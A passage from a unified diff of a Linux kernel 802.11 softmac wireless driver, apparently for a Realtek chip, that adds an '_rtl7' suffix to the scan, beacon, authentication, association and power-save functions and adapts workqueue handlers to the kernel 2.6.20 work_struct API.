} -void ieee80211_send_probe_requests(struct ieee80211_device *ieee) +void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee) { if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){ - ieee80211_send_probe(ieee); - ieee80211_send_probe(ieee); + ieee80211_send_probe_rtl7(ieee); + ieee80211_send_probe_rtl7(ieee); } } /* this performs syncro scan blocking the caller until all channels * in the allowed channel map has been checked. */ -void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee) { short ch = 0; @@ -349,7 +349,7 @@ ieee->set_chan(ieee->dev, ch); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. @@ -384,11 +384,17 @@ } #endif -void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ - down(&ieee->scan_sem); - +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else +void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short watchdog = 0; + down(&ieee->scan_sem); do{ ieee->current_network.channel = @@ -402,7 +408,7 @@ goto out; ieee->set_chan(ieee->dev, ieee->current_network.channel); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); #if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); @@ -427,19 +433,19 @@ #endif -void ieee80211_beacons_start(struct ieee80211_device *ieee) +void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee) { unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); spin_unlock_irqrestore(&ieee->beacon_lock,flags); } -void ieee80211_beacons_stop(struct ieee80211_device *ieee) +void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -453,25 +459,25 @@ } -void ieee80211_stop_send_beacons(struct ieee80211_device *ieee) +void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->stop_send_beacons) ieee->stop_send_beacons(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_stop(ieee); + ieee80211_beacons_stop_rtl7(ieee); } -void ieee80211_start_send_beacons(struct ieee80211_device *ieee) +void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start_rtl7(ieee); } -void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee) { // unsigned long flags; @@ -490,22 +496,22 @@ up(&ieee->scan_sem); } -void ieee80211_stop_scan(struct ieee80211_device *ieee) +void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_stop_scan(ieee); + ieee80211_softmac_stop_scan_rtl7(ieee); else ieee->stop_scan(ieee->dev); } /* called with ieee->lock held */ -void ieee80211_start_scan(struct ieee80211_device *ieee) +void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); - queue_work(ieee->wq, &ieee->softmac_scan_wq); + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); } }else ieee->start_scan(ieee->dev); @@ -513,18 +519,18 @@ } /* called with wx_sem held */ -void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_scan_syncro(ieee); + ieee80211_softmac_scan_syncro_rtl7(ieee); else ieee->scan_syncro(ieee->dev); } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { struct sk_buff *skb; @@ -557,7 +563,7 @@ } -static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) +static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { u8 *tag; int beacon_size; @@ -578,7 +584,7 @@ else atim_len = 0; - if(ieee80211_is_54g(ieee->current_network)) + if(ieee80211_is_54g_rtl7(ieee->current_network)) erp_len = 3; else erp_len = 0; @@ -664,7 +670,7 @@ } -struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest) +struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { struct sk_buff *skb; u8* tag; @@ -673,7 +679,7 @@ struct ieee80211_assoc_response_frame *assoc; short encrypt; - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; skb = dev_alloc_skb(len); @@ -711,13 +717,13 @@ tag = (u8*) skb_put(skb, rate_len); - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); return skb; } -struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest) +struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest) { struct sk_buff *skb; struct ieee80211_authentication *auth; @@ -744,7 +750,7 @@ } -struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) +struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; @@ -770,35 +776,35 @@ } -void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) +void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest) { - struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); + struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest); if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) +void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest) { - struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); + struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest); if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) +void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest) { - struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); + struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest); if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; @@ -807,7 +813,7 @@ unsigned int wpa_len = beacon->wpa_ie_len; - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); @@ -848,8 +854,8 @@ tag = skb_put(skb, rate_len); - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); tag = skb_put(skb,wpa_len); @@ -858,7 +864,7 @@ return skb; } -void ieee80211_associate_abort(struct ieee80211_device *ieee) +void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -887,13 +893,13 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_associate_abort_cb(unsigned long dev) +void ieee80211_associate_abort_cb_rtl7(unsigned long dev) { - ieee80211_associate_abort((struct ieee80211_device *) dev); + ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev); } -void ieee80211_associate_step1(struct ieee80211_device *ieee) +void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee) { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; @@ -901,20 +907,20 @@ IEEE80211_DEBUG_MGMT("Stopping scan\n"); ieee->softmac_stats.tx_auth_rq++; - skb=ieee80211_authentication_req(beacon, ieee, 0); + skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0); if (!skb) - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); } } -void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) +void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen) { u8 *c; struct sk_buff *skb; @@ -924,9 +930,9 @@ ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - skb = ieee80211_authentication_req(beacon, ieee, chlen+2); + skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2); if (!skb) - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; @@ -935,16 +941,16 @@ IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); + ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); } kfree(challenge); } -void ieee80211_associate_step2(struct ieee80211_device *ieee) +void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee) { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; @@ -954,20 +960,26 @@ IEEE80211_DEBUG_MGMT("Sending association request\n"); ieee->softmac_stats.tx_ass_rq++; - skb=ieee80211_association_req(beacon, ieee); + skb=ieee80211_association_req_rtl7(beacon, ieee); if (!skb) - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); else{ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); } } -void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else +void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee) { +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; @@ -977,13 +989,13 @@ printk(KERN_INFO"Using B rates\n"); } ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); } -void ieee80211_associate_complete(struct ieee80211_device *ieee) +void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee) { del_timer_sync(&ieee->associate_timer); @@ -995,24 +1007,29 @@ queue_work(ieee->wq, &ieee->associate_complete_wq); } -void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else +void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee) { +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - ieee80211_stop_scan(ieee); + ieee80211_stop_scan_rtl7(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->associate_seq = 1; - ieee80211_associate_step1(ieee); + ieee80211_associate_step1_rtl7(ieee); up(&ieee->wx_sem); } -inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) +inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net) { u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; @@ -1079,7 +1096,7 @@ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1095,14 +1112,13 @@ } -void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) +void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee) { unsigned long flags; struct ieee80211_network *target; spin_lock_irqsave(&ieee->lock, flags); - list_for_each_entry(target, &ieee->network_list, list) { /* if the state become different that NOLINK means @@ -1112,7 +1128,7 @@ break; //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) - ieee80211_softmac_new_net(ieee, target); + ieee80211_softmac_new_net_rtl7(ieee, target); } spin_unlock_irqrestore(&ieee->lock, flags); @@ -1120,7 +1136,7 @@ } -static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen) +static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen) { struct ieee80211_authentication *a; u8 *t; @@ -1145,7 +1161,7 @@ } -int auth_rq_parse(struct sk_buff *skb,u8* dest) +int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; @@ -1163,7 +1179,7 @@ return WLAN_STATUS_SUCCESS; } -static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) +static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) { u8 *tag; u8 *skbend; @@ -1201,7 +1217,7 @@ } -int assoc_rq_parse(struct sk_buff *skb,u8* dest) +int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; @@ -1219,7 +1235,7 @@ return 0; } -static inline u16 assoc_parse(struct sk_buff *skb, int *aid) +static inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ @@ -1233,45 +1249,45 @@ } static inline void -ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); - if (probe_rq_parse(ieee, skb, dest)){ + if (probe_rq_parse_rtl7(ieee, skb, dest)){ //IEEE80211DMESG("Was for me!"); ieee->softmac_stats.tx_probe_rs++; - ieee80211_resp_to_probe(ieee, dest); + ieee80211_resp_to_probe_rtl7(ieee, dest); } } static inline void -ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - if ((status = auth_rq_parse(skb, dest))!= -1){ - ieee80211_resp_to_auth(ieee, status, dest); + if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){ + ieee80211_resp_to_auth_rtl7(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); } static inline void -ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; //unsigned long flags; ieee->softmac_stats.rx_ass_rq++; - if (assoc_rq_parse(skb,dest) != -1){ - ieee80211_resp_to_assoc_rq(ieee, dest); + if (assoc_rq_parse_rtl7(skb,dest) != -1){ + ieee80211_resp_to_assoc_rq_rtl7(ieee, dest); } printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); @@ -1285,18 +1301,18 @@ -void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) +void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr) { - struct sk_buff *buf = ieee80211_null_func(ieee, pwr); + struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr); if (buf) - softmac_ps_mgmt_xmit(buf, ieee); + softmac_ps_mgmt_xmit_rtl7(buf, ieee); } -short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) +short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) { int timeout = ieee->ps_timeout; u8 dtim; @@ -1343,7 +1359,7 @@ } -inline void ieee80211_sta_ps(struct ieee80211_device *ieee) +inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee) { u32 th,tl; @@ -1360,12 +1376,12 @@ #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_wakeup(ieee, 1); + ieee80211_sta_wakeup_rtl7(ieee, 1); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); + sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ if(sleep == 0) goto out; @@ -1386,7 +1402,7 @@ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee,1); + ieee80211_sta_ps_send_null_frame_rtl7(ieee,1); ieee->ps_th = th; ieee->ps_tl = tl; @@ -1400,7 +1416,7 @@ #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_wakeup(ieee,1); + ieee80211_sta_wakeup_rtl7(ieee,1); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } @@ -1410,13 +1426,13 @@ } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl) { if(ieee->sta_sleep == 0){ if(nl){ printk("Warning: driver is probably failing to report TX ps error\n"); ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } return; @@ -1429,11 +1445,11 @@ if(nl){ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } } -void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success) +void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success) { unsigned long flags,flags2; @@ -1454,7 +1470,7 @@ if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } } @@ -1462,17 +1478,18 @@ } inline int -ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; @@ -1496,19 +1513,19 @@ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ - if (0 == (errcode=assoc_parse(skb, &aid))){ + if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){ ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - ieee80211_associate_complete(ieee); + ieee80211_associate_complete_rtl7(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } } break; @@ -1519,7 +1536,7 @@ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - ieee80211_rx_assoc_rq(ieee, skb); + ieee80211_rx_assoc_rq_rtl7(ieee, skb); break; case IEEE80211_STYPE_AUTH: @@ -1530,23 +1547,23 @@ IEEE80211_DEBUG_MGMT("Received authentication response"); - if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ + if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - ieee80211_associate_step2(ieee); + ieee80211_associate_step2_rtl7(ieee); }else{ - ieee80211_auth_challenge(ieee, challenge, chlen); + ieee80211_auth_challenge_rtl7(ieee, challenge, chlen); } }else{ ieee->softmac_stats.rx_auth_rs_err++; IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } }else if (ieee->iw_mode == IW_MODE_MASTER){ - ieee80211_rx_auth_rq(ieee, skb); + ieee80211_rx_auth_rq_rtl7(ieee, skb); } } break; @@ -1558,7 +1575,7 @@ ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - ieee80211_rx_probe_rq(ieee, skb); + ieee80211_rx_probe_rq_rtl7(ieee, skb); break; case IEEE80211_STYPE_DISASSOC: @@ -1573,8 +1590,8 @@ ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + queue_work(ieee->wq, &ieee->associate_procedure_wq); } @@ -1610,7 +1627,7 @@ * to the driver later, when it wakes the queue. */ -void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) +void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { @@ -1643,7 +1660,7 @@ #endif /* called with 2nd parm 0, no tx mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); for(i = 0; i < txb->nr_frags; i++) { @@ -1662,7 +1679,7 @@ } } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); exit: spin_unlock_irqrestore(&ieee->lock,flags); @@ -1670,7 +1687,7 @@ } /* called with ieee->lock acquired */ -void ieee80211_resume_tx(struct ieee80211_device *ieee) +void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee) { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { @@ -1690,19 +1707,19 @@ } - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } -void ieee80211_reset_queue(struct ieee80211_device *ieee) +void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; spin_lock_irqsave(&ieee->lock,flags); - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); if (ieee->tx_pending.txb){ - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } ieee->queue_stop = 0; @@ -1710,7 +1727,7 @@ } -void ieee80211_wake_queue(struct ieee80211_device *ieee) +void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -1723,7 +1740,7 @@ ieee->queue_stop = 0; if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ - while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ + while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){ header = (struct ieee80211_hdr_3addr *) skb->data; @@ -1738,7 +1755,7 @@ } } if (!ieee->queue_stop && ieee->tx_pending.txb) - ieee80211_resume_tx(ieee); + ieee80211_resume_tx_rtl7(ieee); if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; @@ -1750,7 +1767,7 @@ } -void ieee80211_stop_queue(struct ieee80211_device *ieee) +void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee) { //unsigned long flags; //spin_lock_irqsave(&ieee->lock,flags); @@ -1765,7 +1782,7 @@ } -inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) +inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee) { get_random_bytes(ieee->current_network.bssid, ETH_ALEN); @@ -1778,7 +1795,7 @@ } /* called in user context only */ -void ieee80211_start_master_bss(struct ieee80211_device *ieee) +void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee) { ieee->assoc_id = 1; @@ -1796,7 +1813,7 @@ ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); @@ -1804,7 +1821,7 @@ netif_carrier_on(ieee->dev); } -void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) +void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee) { if(ieee->raw_tx){ @@ -1814,8 +1831,15 @@ netif_carrier_on(ieee->dev); } } -void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else +void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET @@ -1834,7 +1858,7 @@ } /* check if we have this cell in our network list */ - ieee80211_softmac_check_all_nets(ieee); + ieee80211_softmac_check_all_nets_rtl7(ieee); /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after @@ -1851,13 +1875,13 @@ * associated. */ if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ printk("creating new IBSS cell\n"); if(!ieee->wap_set) - ieee80211_randomize_cell(ieee); + ieee80211_randomize_cell_rtl7(ieee); if(ieee->modulation & IEEE80211_CCK_MODULATION){ @@ -1901,9 +1925,9 @@ ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); - ieee80211_start_send_beacons(ieee); + ieee80211_start_send_beacons_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); @@ -1913,13 +1937,13 @@ up(&ieee->wx_sem); } -inline void ieee80211_start_ibss(struct ieee80211_device *ieee) +inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee) { queue_work(ieee->wq, &ieee->start_ibss_wq); } /* this is called only in user context, with wx_sem held */ -void ieee80211_start_bss(struct ieee80211_device *ieee) +void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee) { unsigned long flags; /* check if we have already found the net we @@ -1927,7 +1951,7 @@ * if not (we are disassociated and we are not * in associating / authenticating phase) start the background scanning. */ - ieee80211_softmac_check_all_nets(ieee); + ieee80211_softmac_check_all_nets_rtl7(ieee); /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we @@ -1937,34 +1961,42 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); + ieee80211_start_scan_rtl7(ieee); spin_unlock_irqrestore(&ieee->lock, flags); } /* called only in userspace context */ -void 